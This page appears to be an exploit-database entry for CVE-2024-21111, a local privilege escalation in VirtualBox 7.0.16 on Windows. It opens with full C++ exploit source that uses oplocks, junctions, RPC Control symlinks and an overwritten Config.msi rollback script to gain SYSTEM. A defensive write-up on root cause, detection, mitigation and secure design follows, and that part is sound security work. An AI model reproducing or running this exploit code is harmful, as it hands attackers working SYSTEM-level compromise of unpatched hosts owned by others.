VirtualBox 7.0.16 - Privilege Escalation
# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation
# Date: 2025-05-06
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win x64
# CVE : CVE-2024-21111
#include <Windows.h>
#include <Shlwapi.h>
#include <WtsApi32.h>
#include <Msi.h>
#include <PathCch.h>
#include <AclAPI.h>
#include <iostream>
#include "resource.h"
#include "def.h"
#include "FileOplock.h"
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "wtsapi32")
#pragma comment(lib, "PathCch.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma warning(disable:4996)
struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5"))
CLSID_VBoxSDS;
FileOpLock* oplock;
HANDLE hFile, vb11, h;
HANDLE hthread;
NTSTATUS retcode;
HMODULE hm = GetModuleHandle(NULL);
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
DWORD RbsSize = SizeofResource(hm, res);
void* RbsBuff = LoadResource(hm, res);
WCHAR dir[MAX_PATH] = { 0x0 };
wchar_t filen[MAX_PATH] = { 0x0 };
DWORD WINAPI install(void*);
BOOL Move(HANDLE hFile);
void callback();
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion);
LPWSTR BuildPath(LPCWSTR path);
void loadapis();
VOID cb1();
VOID cb0();
BOOL Monitor(HANDLE hDir);
BOOL clearDataDir();
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
HANDLE hJunction;
DWORD cb;
wchar_t printname[] = L"";
HANDLE hDir;
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("[!] Failed to obtain handle on directory %ls.\n", dir);
return FALSE;
}
SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
SIZE_T PathLen = TargetLen + PrintnameLen + 12;
SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
GenericReparseBuffer.DataBuffer));
PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
Data->ReparseDataLength = PathLen;
Data->Reserved = 0;
Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,
printname, PrintnameLen + 2);
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,
0, &cb, NULL) != 0)
{
printf("[+] Junction %ls -> %ls created!\n", dir, target);
free(Data);
return TRUE;
}
else
{
printf("[!] Error: %d. Exiting\n", GetLastError());
free(Data);
return FALSE;
}
}
BOOL DeleteJunction(LPCWSTR path) {
REPARSE_GUID_DATA_BUFFER buffer = { 0 };
BOOL ret;
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
DWORD cb = 0;
IO_STATUS_BLOCK io;
HANDLE hDir;
hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("[!] Failed to obtain handle on directory %ls.\n", path);
printf("%d\n", GetLastError());
return FALSE;
}
ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
if (ret == 0) {
printf("Error: %d\n", GetLastError());
return FALSE;
}
else
{
printf("[+] Junction %ls delete!\n", dir);
return TRUE;
}
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,
target)) {
printf("[+] Symlink %ls -> %ls created!\n", object, target);
return TRUE;
}
else
{
printf("error :%d\n", GetLastError());
return FALSE;
}
}
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |
DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
return TRUE;
}
else
{
printf("error :%d\n", GetLastError());
return FALSE;
}
}
void runSDS(int delay) {
if (delay == 1) {
printf("[!] sleeping for 2 sec\n");
Sleep(2000);
}
CoInitialize(NULL);
LPVOID ppv;
// 1st trigger to create VBoxSDS.log dir
CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,
IID_IUnknown, &ppv);
CoUninitialize();
}
BOOL checkSDSLog() {
BOOL clear = FALSE;
std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*";
HANDLE hFind;
WIN32_FIND_DATA data;
hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);
// iterate first VBoxSDS.log
FindNextFile(hFind, &data);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (wcswcs(data.cFileName, L"VBoxSDS.log.")) {
runSDS(0);
//wprintf(L"%s\n", data.cFileName);
}
else {
printf("[+] Logs have been cleared!\n");
clear = TRUE;
}
//wprintf(L"%s\n", data.cFileName);
} while (FindNextFile(hFind, &data));
FindClose(hFind);
}
//printf("CLEAR: %d\n", clear);
return clear;
}
BOOL enumProc(const wchar_t* procName) {
PWTS_PROCESS_INFO processes{};
BOOL ok = FALSE;
DWORD count;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,
&count)) {
for (DWORD i = 0; i < count; i++) {
if (wcswcs(processes[i].pProcessName, procName)) {
wprintf(L"[!] Process active: %s with PID %d\n",
processes[i].pProcessName, processes[i].ProcessId);
ok = TRUE;
break;
}
}
}
else {
printf("err: %d\n", GetLastError());
}
WTSFreeMemory(processes);
return ok;
}
void checkIfExists() {
if (enumProc(L"VirtualBoxVM.exe")) {
printf("[!] You seem to have active VMs running, please stop them before
running this to prevent corruption of any saved data of the VMs.\n");
exit(1);
}
if (enumProc(L"VirtualBox.exe")) {
printf("[!] VirtualBox process active\n");
// message
printf("[!] Trying to exit virtualbox by postmessage close window\n");
PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")),
WM_CLOSE, NULL, NULL);
printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n");
Sleep(12000);
if (enumProc(L"VBoxSDS.exe")) {
printf("[-] error stopping vboxsds\n");
exit(1);
}
else {
printf("[+] Success stopping vboxsds!\n");
}
}
}
BOOL clearDataDir() {
do {
vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
printf("h: %x %d\n", vb11, GetLastError());
} while (vb11 == INVALID_HANDLE_VALUE);
oplock = FileOpLock::CreateLock(vb11, cb1);
if (oplock != NULL) {
HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0,
NULL);
oplock->WaitForLock(INFINITE);
CloseHandle(c);
}
BOOL isEmpty = FALSE;
do {
isEmpty = checkSDSLog();
} while (isEmpty == FALSE);
if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) {
printf("error removing vboxlog dir\n");
exit(1);
}
return isEmpty;
}
int wmain() {
loadapis();
checkIfExists();
clearDataDir();
hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("[!] Failed to create C:\\Config.msi directory. Trying to delete
it.\n");
install(NULL);
hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
if (hFile != INVALID_HANDLE_VALUE)
{
printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
}
else
{
printf("[!] Failed. Cannot remove c:\\Config.msi");
//return 1;
}
}
if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
{
printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n");
//return 1;
}
printf("[+] Config.msi directory created!\n");
HANDLE hDir =
getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
printf("hDir: %x\n", hDir);
//Monitor(hDir);
HANDLE zxc{};
zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0,
NULL);
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain
express control of our priority
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
oplock = FileOpLock::CreateLock(hFile, callback);
if (oplock != nullptr) {
oplock->WaitForLock(INFINITE);
delete oplock;
}
do {
hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE |
FILE_SHARE_DELETE, FILE_OPEN_IF);
} while (!hFile);
char buff[4096];
DWORD retbt = 0;
FILE_NOTIFY_INFORMATION* fn;
WCHAR* extension;
WCHAR* extension2;
do {
ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME,
&retbt, NULL, NULL);
fn = (FILE_NOTIFY_INFORMATION*)buff;
size_t sz = fn->FileNameLength / sizeof(WCHAR);
fn->FileName[sz] = '\0';
extension = fn->FileName;
PathCchFindExtension(extension, MAX_PATH, &extension2);
} while (wcscmp(extension2, L".rbs") != 0);
SetSecurityInfo(hFile, SE_FILE_OBJECT,
UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL,
NULL, NULL, NULL);
while (!Move(hFile)) {
}
HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"),
FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_CREATE);
WCHAR rbsfile[MAX_PATH];
_swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
printf("[+] Rollback script overwritten!\n");
}
else
{
printf("[!] Failed to overwrite rbs file!\n");
}
CloseHandle(rbs);
CloseHandle(cfg_h);
DeleteJunction(dir);
CloseHandle(zxc);
WCHAR asdfasdf[MAX_PATH];
_swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION");
return 0;
}
DWORD WINAPI install(void*) {
HMODULE hm = GetModuleHandle(NULL);
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
wchar_t msipackage[MAX_PATH] = { 0x0 };
GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
printf("[*] MSI file: %ls\n", msipackage);
DWORD MsiSize = SizeofResource(hm, res);
void* MsiBuff = LoadResource(hm, res);
HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
CloseHandle(pkg);
MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
printf("%d\n", a);
MsiInstallProduct(msipackage, L"REMOVE=ALL");
DeleteFile(msipackage);
return 0;
}
BOOL Move(HANDLE hFile) {
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] Invalid handle!\n");
return FALSE;
}
wchar_t tmpfile[MAX_PATH] = { 0x0 };
RPC_WSTR str_uuid;
UUID uuid = { 0 };
UuidCreate(&uuid);
UuidToString(&uuid, &str_uuid);
_swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) *
sizeof(wchar_t));
FILE_RENAME_INFO* rename_info =
(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY |
HEAP_GENERATE_EXCEPTIONS, buffer_sz);
IO_STATUS_BLOCK io = { 0 };
rename_info->ReplaceIfExists = TRUE;
rename_info->RootDirectory = NULL;
rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) *
sizeof(wchar_t));
NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info,
buffer_sz, 65);
if (status != 0) {
return FALSE;
}
return TRUE;
}
void callback() {
SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
Move(hFile);
hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);
HANDLE hd;
do {
hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
} while (!hd);
do {
CloseHandle(hd);
hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
} while (hd);
CloseHandle(hd);
do {
hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
CloseHandle(hd);
} while (retcode != 0xC0000022);
}
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion) {
UNICODE_STRING ufile;
HANDLE hDir;
pRtlInitUnicodeString(&ufile, file);
OBJECT_ATTRIBUTES oa = { 0 };
IO_STATUS_BLOCK io = { 0 };
InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL,
FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE |
FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (!NT_SUCCESS(retcode)) {
return NULL;
}
return hDir;
}
LPWSTR BuildPath(LPCWSTR path) {
wchar_t ntpath[MAX_PATH];
swprintf(ntpath, L"\\??\\%s", path);
return ntpath;
}
void loadapis() {
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
if (ntdll != NULL) {
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll,
"RtlInitUnicodeString");
pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll,
"NtSetInformationFile");
}
if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
printf("Cannot load api's %d\n", GetLastError());
exit(0);
}
}
void cb0() {
if (!Move(h)) {
printf("reached3\n");
exit(1);
}
printf("reached2\n");
_swprintf(dir, L"C:\\ProgramData\\VirtualBox");
if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) {
printf("[!] Exiting!\n");
exit(1);
}
WCHAR asdfasdf[MAX_PATH];
_swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
if (!DosDeviceSymLink(asdfasdf,
L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) {
printf("zxc\n");
//printf("[!] Exiting!\n");
//exit(1);
}
}
void cb1() {
printf("[!] oplock triggered\n");
if (!Move(vb11)) {
printf("reached3\n");
exit(1);
}
if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) {
printf("Error creating dir. Exiting\n");
exit(1);
}
return;
}
BOOL Monitor(HANDLE hDir) {
printf("[!] Monitor called\n");
BOOL deleted = FALSE;
_swprintf(filen, L"VBoxSDS.log.11");
do {
do {
h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
printf("h: %x\n", h);
} while (h == INVALID_HANDLE_VALUE);
oplock = FileOpLock::CreateLock(h, cb0);
if (oplock != NULL) {
HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS,
(LPVOID)1, 0, NULL);
oplock->WaitForLock(INFINITE);
CloseHandle(c);
}
deleted = TRUE;
} while (deleted == FALSE);
return deleted;
} VirtualBox 7.0.16 — CVE-2024-21111: Privilege Escalation — Analysis, Detection, and Mitigation
This article explains the privilege escalation vulnerability tracked as CVE-2024-21111 affecting Oracle VirtualBox 7.0.16, summarizes the root cause and exploitation chain at a high level, and provides practical, defensive guidance for system administrators, incident responders, and developers. The goal is to give a clear, non-actionable technical understanding and concrete remediation/detection advice.
Quick facts
- CVE: CVE-2024-21111
- Reported by: Milad Karimi (Ex3ptionaL)
- Impacted product: Oracle VirtualBox (7.0.16 reported)
- Exploit class: Local privilege escalation (LPE)
- Tested on: Windows x64 (research context)
- Risk: Low-to-high locally exploitable escalation depending on local account privileges and system configuration
Vulnerability summary
CVE-2024-21111 is a local privilege escalation issue in VirtualBox's Windows components. The root cause stems from insecure handling of file system objects and service-related resources under ProgramData and related namespaces. An attacker with a local unprivileged account can manipulate reparse points, junctions, or similar filesystem/link metadata together with race conditions to cause higher-privileged service code to perform file-system operations with attacker-controlled targets — ultimately enabling escalation to SYSTEM privileges.
High-level exploitation chain (abstract)
- Attacker places or reuses writable filesystem objects (directories, files) under locations monitored or used by VirtualBox background services (for example, ProgramData\VirtualBox or temporary log directories).
- By creating symbolic links/junctions or racing rename/open operations, the attacker redirects privileged operations performed by VirtualBox services to sensitive locations (for example, system files or privileged directories).
- When a privileged VirtualBox component performs a file operation (create, rename, or overwrite) on the attacker-controlled path, the attacker gains write access to a privileged target (e.g., service executables, ACLs, or installer rollback scripts), enabling arbitrary code execution as a higher-privileged account.
Note: this description intentionally omits low-level, reproducible steps to avoid providing an exploit recipe. The focus is on what defenders need to know: the types of resource abuse and the signals to watch for.
Why this is possible (root causes)
- Insecure file permissions: Sensitive directories under ProgramData were writable by unprivileged users, or actions were taken on files without proper checks of the destination's security context.
- Race conditions: The service performed operations on filesystem objects in a predictable window that could be abused by manipulating reparse/junction targets during that window.
- Insufficient validation: The service did not validate the final resolved path of reparse points/NT namespace symbolic links (GLOBALROOT or RPC Control) before performing privileged operations.
Affected components and likely indicators
- VirtualBox Windows services and background processes that manage logs and rollback/installer tasks (for example, services interacting with ProgramData\VirtualBox and rollback script directories).
- Newly created or renamed log directories such as "VBoxSDS.log.*", creation of a C:\Config.msi directory, or unexpected files under C:\ProgramData\VirtualBox.
- Presence of unusual NT namespace objects (e.g., names under Global\GLOBALROOT\RPC Control) or reparse points/junctions created by non-administrative accounts.
Detection and monitoring guidance
Focus on filesystem and process events that indicate attempted manipulation of VirtualBox-managed locations and suspicious creation of reparse points / RPC control objects.
- Log file and directory creation events for:
- C:\ProgramData\VirtualBox\* (any VBoxSDS.log.* files)
- C:\Config.msi or unexpected top-level directories created by non-admin users
- Monitor for creation of junctions or NT symbolic links (events that show a reparse point target change) pointing to privileged locations.
- Process monitoring: watch for unexpected launches of VirtualBox helper processes (e.g., VBoxSDS.exe) immediately followed by file operations that modify privileged locations.
- Windows Event Logging and EDR telemetry: search for processes performing file rename/replace on system paths, or for access-denied and unusual DELETE/REPLACE attempts on ProgramData by low-priv users.
- Sysmon rules (example conceptual filters):
- FileCreate/FileCreateStream events targeting C:\Config.msi or ProgramData\VirtualBox
- FileDelete/FileCreate events with reparse point flags
- ImageLoad or ProcessCreate events where VirtualBox binaries perform file writes outside expected directories
Practical mitigations
The primary mitigation is to apply the vendor patch from Oracle/VirtualBox that addresses CVE-2024-21111. If immediate patching is not possible, apply the following compensating controls to reduce risk.
- Patch: Upgrade VirtualBox to a version that contains the official fix. Check Oracle security advisories and the VirtualBox changelog and apply updates promptly.
- Restrict filesystem ACLs: Ensure ProgramData\VirtualBox and other service data directories are writable only by the service account and Administrators. Remove write/delete permissions for unprivileged users and groups.
- Harden installer/rollback directories: Prevent non-privileged creation of C:\Config.msi and similar installer-related top-level directories by tightening ACLs on the root of C:\ or by auditing and alerting on such creations.
- Monitor and block reparse point abuse: Restrict which accounts can create reparse points or named objects in special NT namespaces; monitor attempts using EDR or Filesystem auditing.
- Least privilege: Ensure local user accounts do not have unnecessary administrative rights. Reduce the number of users in the local Administrators group.
- Application whitelisting: Use Windows Defender Application Control, AppLocker, or similar to prevent untrusted code being written to privileged locations or executed by the system.
Incident response checklist
- Identify and isolate any host where successful exploitation is suspected.
- Collect volatile artifacts: process list, open handles, loaded modules, and recent file operation logs for ProgramData\VirtualBox and C:\Config.msi.
- Look for dropped/modified rollback scripts, unexpected executables in system locations, created junctions, or reparse point targets pointing to sensitive paths.
- Restore from known-good backups if privileged binaries or system files were modified, and rotate credentials where appropriate.
- After remediation and patching, re-audit ACLs and re-verify that VirtualBox instances function correctly under the hardened configuration.
Secure development and design lessons
Vulnerabilities of this class can be mitigated by design changes and secure coding practices:
- Canonicalize and validate final resolved paths: For any operation that follows reparse points or resolves symbolic links, always canonicalize the final path and verify it remains within an allowed namespace before acting with elevated privileges.
- Use explicit privilege separation: Avoid performing installer or maintenance operations under SYSTEM unnecessarily; use least privilege and secure IPCs between privileged and unprivileged components with robust checks.
- Remove TOCTOU windows: Where possible, replace multi-step file operations with atomic APIs or use locks and platform facilities that reduce raceable windows.
- Design secure defaults: Ship service data directories with restrictive ACLs by default and require admin consent to grant additional write access.
Safe defensive code pattern (conceptual)
// Pseudocode (non-exploitable): validate and restrict a resolved path before performing elevated write.
// This is conceptual to show defensive checks, not a reproduction of any exploit.
string requestedPath = userControlledPath();
string resolvedPath = ResolveFinalPath(requestedPath); // resolve reparse points
if (!IsUnderAllowedBase(resolvedPath, "C:\\ProgramData\\VirtualBox")) {
// log and deny - do not proceed with write/replace operations
Audit("Denied write: resolved path outside allowed namespace", resolvedPath);
return ACCESS_DENIED;
}
// additionally check ACLs and token privileges before performing action
if (!CallerHasRequiredPrivileges()) {
Audit("Denied write: insufficient caller privileges", callerInfo());
return ACCESS_DENIED;
}
PerformPrivilegedWrite(resolvedPath);
Explanation: this pseudocode demonstrates defensive steps: resolve the final filesystem path (so reparse points and junctions are evaluated), verify the resolved path is within an allowed base directory, check the caller's privileges, and only then perform the privileged write. Implementations should use safe, canonicalizing OS APIs and restrict which identities may cause sensitive writes.
Timeline and administrative checklist
| Item | Action |
|---|---|
| Discovery / Report | Researcher reported the issue; see vendor advisory and CVE-2024-21111 |
| Immediate action | Upgrade VirtualBox to the vendor fixed release; if unavailable, apply ACL hardening and monitoring |
| Post-patch validation | Re-run hardening checks, audit file permissions, and verify no suspicious symlinks or created directories exist |
| Long term | Incorporate canonical path validation and race-condition mitigation into vendor codebase; maintain least-privilege defaults |
Conclusion
CVE-2024-21111 illustrates a common pattern: race conditions and improper validation of filesystem namespace objects (junctions, reparse points, or special NT namespace names) combined with permissive file ACLs can enable local privilege escalations. The immediate, pragmatic steps are to apply vendor updates, harden filesystem ACLs for service data directories, and deploy detection rules to spot suspicious manipulations of those directories. For vendors and developers, the long-term solution is canonicalization, strict privilege separation, and designing services that minimize writable attack surface.
References and further reading
- Official VirtualBox security advisories (Oracle)
- National Vulnerability Database (CVE-2024-21111)
- Windows security guidance on symbolic link and reparse point handling
- Secure development practices for file system operations and race-condition avoidance